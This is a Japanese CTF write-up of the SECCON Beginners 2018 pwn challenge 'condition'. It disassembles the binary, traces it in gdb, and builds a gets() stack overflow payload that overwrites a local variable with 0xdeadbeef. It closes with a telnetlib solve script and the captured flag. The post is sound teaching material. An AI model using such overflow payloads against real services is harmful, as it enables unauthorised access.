Posted at

SECCON Beginners CTF 2018 PwnのconditionのWrite-upと復習

More than 1 year has passed since last update.


はじめに

Pwnを全然勉強したことがなかったので、自己理解を深める意味も込めてPwnの最初の問題conditionの解説をしてみることにする。かなり詳し目に書いたつもりなので、読まれた方の参考になれば幸いです。バッファオーバーフローだめ絶対。まねしないように。


問題

指定されたアドレスとポートにtelnetするとPlease tell me your name...と聞かれるので、適当に答える。そうすると、Permission deniedと出て終了する。同じ挙動をするバイナリも与えられているので、なんとかflagを読み出せ、という問題。


解いていく

まずは、お作法としてmain関数周辺を見てみることにする。

objdump -S ./condition_68187f0953551cea907c48c016f19ff200de74b4

で中身を覗くことができて、


main抜き出し

0000000000400771 <main>:

400771: 55 push %rbp
400772: 48 89 e5 mov %rsp,%rbp
400775: 48 83 ec 30 sub $0x30,%rsp
400779: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
400780: bf d8 08 40 00 mov $0x4008d8,%edi
400785: b8 00 00 00 00 mov $0x0,%eax
40078a: e8 71 fe ff ff callq 400600 <printf@plt>
40078f: 48 8d 45 d0 lea -0x30(%rbp),%rax
400793: 48 89 c7 mov %rax,%rdi
400796: b8 00 00 00 00 mov $0x0,%eax
40079b: e8 80 fe ff ff callq 400620 <gets@plt>
4007a0: 81 7d fc ef be ad de cmpl $0xdeadbeef,-0x4(%rbp)
4007a7: 75 16 jne 4007bf <main+0x4e>
4007a9: bf f8 08 40 00 mov $0x4008f8,%edi
4007ae: e8 0d fe ff ff callq 4005c0 <puts@plt>
4007b3: bf 1e 09 40 00 mov $0x40091e,%edi
4007b8: e8 16 00 00 00 callq 4007d3 <read_file>
4007bd: eb 0a jmp 4007c9 <main+0x58>
4007bf: bf 27 09 40 00 mov $0x400927,%edi
4007c4: e8 f7 fd ff ff callq 4005c0 <puts@plt>
4007c9: bf 00 00 00 00 mov $0x0,%edi
4007ce: e8 6d fe ff ff callq 400640 <exit@plt>

これがmain関数の処理らしい。

分解して見ていく

  400771:   55                      push   %rbp

400772: 48 89 e5 mov %rsp,%rbp

関数に入った時のお決まり動作。main関数も実は他の関数から呼ばれている。関数毎にメモリ上にstack領域という領域を持っていて、一番小さいアドレス番号と一番大きいアドレス番号を、それぞれrsp,rbpというレジスタに保持している。関数に入った時、呼び出し元の関数で使っていたrbpの値をstackにpushして、rspとrbpを揃えるという動作をする。この辺の話は、以下のリンクがわかりやすい。(といっても、難しい動きではある)

https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c006.html

図で書くと、メモリ上は以下のようになっている。

gazou1.png

  400775:   48 83 ec 30             sub    $0x30,%rsp

rspを0x30バイト分減算している。つまり、main関数用の領域を0x30バイト分メモリに確保したことになる。stackは大きいアドレスから小さいアドレスに向けに拡張されていくので、減算であっている。絵で書くと、図のようになる。小さい方が上なので、rspは上に移動している。

gazou2.png

  400779:   c7 45 fc 00 00 00 00    movl   $0x0,-0x4(%rbp)

rbpから4バイト=32bit分をゼロで埋めている。さて、図に当てはめていきたいのだが、実は図でわざと欠落させていた情報がある。このバイナリは一体、何bitを単位として動いているかだ。それは以下のコマンドで確認する。


$ file ./condition_68187f0953551cea907c48c016f19ff200de74b4
./condition_68187f0953551cea907c48c016f19ff200de74b4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=855948dc75c58cfbefe60b921e6b737675a18ca3, not stripped

64bitらしい、なので、この図も、幅を64bitで揃えて書く。なおかつ、左をアドレスの大きいほう、右をアドレスの小さい方とすると、以下のようになる。

gazou3.png

続けて読んでいく。

  400780:   bf d8 08 40 00          mov    $0x4008d8,%edi

400785: b8 00 00 00 00 mov $0x0,%eax
40078a: e8 71 fe ff ff callq 400600 <printf@plt>

関数を呼び出す時のお作法がここにも詰まっている。1行目が肝だ。よくある関数呼び出しの教科書的な文章を読むと、関数の引数はstackに積んだ上で(つまりこの絵に現れるように)置いておく、となっているのだが、x86-64のバイナリの場合、引数はレジスタに入れておくのがお作法らしい。詳しくは以下を読むと良い。

http://th0x4c.github.io/blog/2013/04/10/gdb-calling-convention/

2行目は、関数の戻り値が入れられるeaxを0で初期化しておき、関数呼び出しに備えている。そして、3行目でprintf関数を呼び出している。普通に考えると、Please tell me your name...という文字列を引数に入れて、呼び出していると考えられる。確認していこう。

ここから、gdbを使うのだが、gdbを使う上で、非常に役に立つアイテムがある。

https://github.com/longld/peda

これを入れておくと、非常に簡単にいろんな情報を見ることができる。さて使っていこう、main関数にブレークポイントを設定し、その後stepを進める。

gdb-peda$ b main

Breakpoint 1 at 0x400775
gdb-peda$ run

こんな感じのものを打った後、nを連打すればいい。すると以下のような画面にいきつく。

gdb-peda$ n

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0xfbad2084
RDX: 0x7fffffffe5b8 --> 0x7fffffffe804 ("xxx")
RSI: 0x7fffffffe5a8 --> 0x7fffffffe7c4 ("/home/xxx/condition_68187f0953551cea907c48c016f19ff200de74b4")
RDI: 0x4008d8 ("Please tell me your name...")
RBP: 0x7fffffffe4c0 --> 0x400850 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe490 --> 0x0
RIP: 0x40078a (<main+25>: call 0x400600 <printf@plt>)
R8 : 0x7ffff7dd3780 --> 0x0
R9 : 0x7ffff7ff0700 (0x00007ffff7ff0700)
R10: 0x836
R11: 0x7ffff7a836b0 (<setbuf>: mov edx,0x2000)
R12: 0x400660 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe5a0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400779 <main+8>: mov DWORD PTR [rbp-0x4],0x0
0x400780 <main+15>: mov edi,0x4008d8
0x400785 <main+20>: mov eax,0x0
=> 0x40078a <main+25>: call 0x400600 <printf@plt>
0x40078f <main+30>: lea rax,[rbp-0x30]
0x400793 <main+34>: mov rdi,rax
0x400796 <main+37>: mov eax,0x0
0x40079b <main+42>: call 0x400620 <gets@plt>
Guessed arguments:
arg[0]: 0x4008d8 ("Please tell me your name...")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe490 --> 0x0
0008| 0x7fffffffe498 --> 0x0
0016| 0x7fffffffe4a0 --> 0x400850 (<__libc_csu_init>: push r15)
0024| 0x7fffffffe4a8 --> 0x400660 (<_start>: xor ebp,ebp)
0032| 0x7fffffffe4b0 --> 0x7fffffffe5a0 --> 0x1
0040| 0x7fffffffe4b8 --> 0x0
0048| 0x7fffffffe4c0 --> 0x400850 (<__libc_csu_init>: push r15)
0056| 0x7fffffffe4c8 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000000000040078a in main ()

情報量が多いが、注目すべきはここ

RDI: 0x4008d8 ("Please tell me your name...")

確かに引数がrdiに保存されていることがわかる。さらに読んでいく。

  40078f:   48 8d 45 d0             lea    -0x30(%rbp),%rax

400793: 48 89 c7 mov %rax,%rdi
400796: b8 00 00 00 00 mov $0x0,%eax
40079b: e8 80 fe ff ff callq 400620 <gets@plt>

少し難しいが、基本的に先ほどと同じだ。rbp-0x30のアドレスをraxに代入して、それをさらにrdiに代入している。つまり、rbp-0x30のアドレス=rspと同じアドレスに、getsで文字を読み込みなさいといっている。

試しにaを一文字だけ入力したような場合だと、こうなる。

gazou4.png

こうなっていることは、gdb上でも確認できる。

gdb-peda$ x/x 0x7fffffffe490

0x7fffffffe490: 0x0000000000000061

続けて読んでいく。

  4007a0:   81 7d fc ef be ad de    cmpl   $0xdeadbeef,-0x4(%rbp)

4007a7: 75 16 jne 4007bf <main+0x4e>

rbp-0x4と-0xdeadbeefが等しいかを判定し、等しくなければ、main+0x4eに飛べと言っている。画像でいうと、この部分を比較していることになる。

gazou5.png

このまま続けると、以下の行を実行することになる。

  4007bf:   bf 27 09 40 00          mov    $0x400927,%edi

4007c4: e8 f7 fd ff ff callq 4005c0 <puts@plt>
4007c9: bf 00 00 00 00 mov $0x0,%edi
4007ce: e8 6d fe ff ff callq 400640 <exit@plt>

これで、Permission deniedという文字を出力して、終わっていることがわかる。実際、gdbでstepを進めていくと

[----------------------------------registers-----------------------------------]

RDI: 0x400927 ("Permission denied")
[-------------------------------------code-------------------------------------]
0x4007b8 <main+71>: call 0x4007d3 <read_file>
0x4007bd <main+76>: jmp 0x4007c9 <main+88>
0x4007bf <main+78>: mov edi,0x400927
=> 0x4007c4 <main+83>: call 0x4005c0 <puts@plt>
0x4007c9 <main+88>: mov edi,0x0
0x4007ce <main+93>: call 0x400640 <exit@plt>
0x4007d3 <read_file>: push rbp
0x4007d4 <read_file+1>: mov rbp,rsp
Guessed arguments:
arg[0]: 0x400927 ("Permission denied")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe490 --> 0x61 ('a')
[------------------------------------------------------------------------------]

(必要箇所だけ抜粋している)確かに、Permission deniedという文字を出力して、終わるようになっている。これではなんのflagも得られないように見えるが、残った部分を見ると、ヒントがある。jneが成り立たない、つまり、該当アドレスが0xdeadbeefだった時に行われる処理だ。

  4007a9:   bf f8 08 40 00          mov    $0x4008f8,%edi

4007ae: e8 0d fe ff ff callq 4005c0 <puts@plt>
4007b3: bf 1e 09 40 00 mov $0x40091e,%edi
4007b8: e8 16 00 00 00 callq 4007d3 <read_file>
4007bd: eb 0a jmp 4007c9 <main+0x58>

何かを出力したあとファイルを読み込んで、main関数に戻るらしい。なるほど、多分flagの書かれた内容を読み取って、それを出力して終わるのではないか?という想像が成り立つ。つまり、件のアドレスを0xdeadbeefにして、このjneが成り立たないようにすれば良いわけだ。ここで、バッファオーバーフローを使う。このプログラムは脆弱で、ひたすら長い文字列を入れると、メモリを上位に向かって上書きしてしまう。例えば、abcdefghijklmnnopという16文字入れたとしよう。すると、メモリは以下のようになる。

gazou6.png

面倒なので表記を省略しているが、下位から、0x61='a'、0x62='b',0x63='c'...と埋まっていっているのがわかるだろう。つまりこれをずっと続けていけば、上位のrbp-0x4を0xdeadbeefに書き換えることができる。

長い文字列を打ち込まなければならないが、何文字打ち込めば良いかは計算できる。まず、0xdeadbeefに到達するまでには、64bit(8byte)*5+32bit(4byte)=44byte分ある、ここは適当に(例えば'a'などで)埋めて、その後、0xef、0xbe、0xad、0xdeの順に文字を書き込めば良い。gets関数が下位bitから文字を埋めていくことに注意すること。上位から下位に向かって0xdeadbeef、とならねばならないので、それをgets関数で入力するには、下位、つまりefの方から1byteずつ入力してやる必要がある。確かめてみよう。

$ python -c "print 'a'*44 + '\xef\xbe\xad\xde'" > input

$ ./condition_68187f0953551cea907c48c016f19ff200de74b4 < input
Please tell me your name...OK! You have permission to get flag!!
Segmentation fault

You have permission to get flag!!という表記が出て落ちた。これは正しい挙動で、fileを読もうにも、これは本番環境ではないので、ファイルを開くことができない。ここから先は、本番サーバでないと試すことができないようだ。念のため、gdbでも挙動を確認しておく。

gdb-peda$ b main

Breakpoint 1 at 0x400775
gdb-peda$ run < input

getsを呼んだ直後の様子がこちら

[----------------------------------registers-----------------------------------]

RBP: 0x7fffffffe4c0 --> 0x400800 (<read_file+45>: mov edx,DWORD PTR [rbp-0x10])
RSP: 0x7fffffffe490 ('a' <repeats 44 times>, <incomplete sequence \336>)
[-------------------------------------code-------------------------------------]
0x400793 <main+34>: mov rdi,rax
0x400796 <main+37>: mov eax,0x0
0x40079b <main+42>: call 0x400620 <gets@plt>
=> 0x4007a0 <main+47>: cmp DWORD PTR [rbp-0x4],0xdeadbeef
0x4007a7 <main+54>: jne 0x4007bf <main+78>
0x4007a9 <main+56>: mov edi,0x4008f8
0x4007ae <main+61>: call 0x4005c0 <puts@plt>
0x4007b3 <main+66>: mov edi,0x40091e
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe490 ('a' <repeats 44 times>, <incomplete sequence \336>)
0008| 0x7fffffffe498 ('a' <repeats 36 times>, <incomplete sequence \336>)
0016| 0x7fffffffe4a0 ('a' <repeats 28 times>, <incomplete sequence \336>)
0024| 0x7fffffffe4a8 ('a' <repeats 20 times>, <incomplete sequence \336>)
0032| 0x7fffffffe4b0 ('a' <repeats 12 times>, <incomplete sequence \336>)
0040| 0x7fffffffe4b8 --> 0xdeadbeef61616161
[------------------------------------------------------------------------------]

これの意味するところは、メモリが以下のようになっているということだ。

gazou8.png

このまま進んでいくと、無事、jneを突破することができる。putsで何が表示されているかは確認しておこう。

[----------------------------------registers-----------------------------------]

RDI: 0x4008f8 ("OK! You have permission to get flag!!")
[-------------------------------------code-------------------------------------]
0x4007a0 <main+47>: cmp DWORD PTR [rbp-0x4],0xdeadbeef
0x4007a7 <main+54>: jne 0x4007bf <main+78>
0x4007a9 <main+56>: mov edi,0x4008f8
=> 0x4007ae <main+61>: call 0x4005c0 <puts@plt>
0x4007b3 <main+66>: mov edi,0x40091e
0x4007b8 <main+71>: call 0x4007d3 <read_file>
0x4007bd <main+76>: jmp 0x4007c9 <main+88>
0x4007bf <main+78>: mov edi,0x400927
Guessed arguments:
arg[0]: 0x4008f8 ("OK! You have permission to get flag!!")

先ほどの文字列を出力して、read_fileに移るらしいことがわかる。これ以上は本番サーバで試そう。

pythonでtelnetをして、該当の文字列を送信するコードを書く。


solve.py

import telnetlib

HOST = "サーバのアドレス"
PORT = "ポート番号"

tn = telnetlib.Telnet()
tn.open(HOST,PORT)
ret = tn.read_until("Please tell me your name...",5)
print ret
tn.write('a'*44 + '\xef\xbe\xad\xde'+ '\n')
ret = tn.read_until("hogehoge",5)
print ret
tn.close()


最後は適当な文字で待って、出力を行っている。

$ python solve.py

Please tell me your name...
OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

というわけで、めでたくflagであるctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}を得ることができた。

非常に教育的な問題であった。運営の方々と、これを時間内に解いてくれた仲間に感謝を。Pwnの2問目は解けなかったのだが、他の人のwrite-upを読んで復習したので、また時間があれば書こうと思う。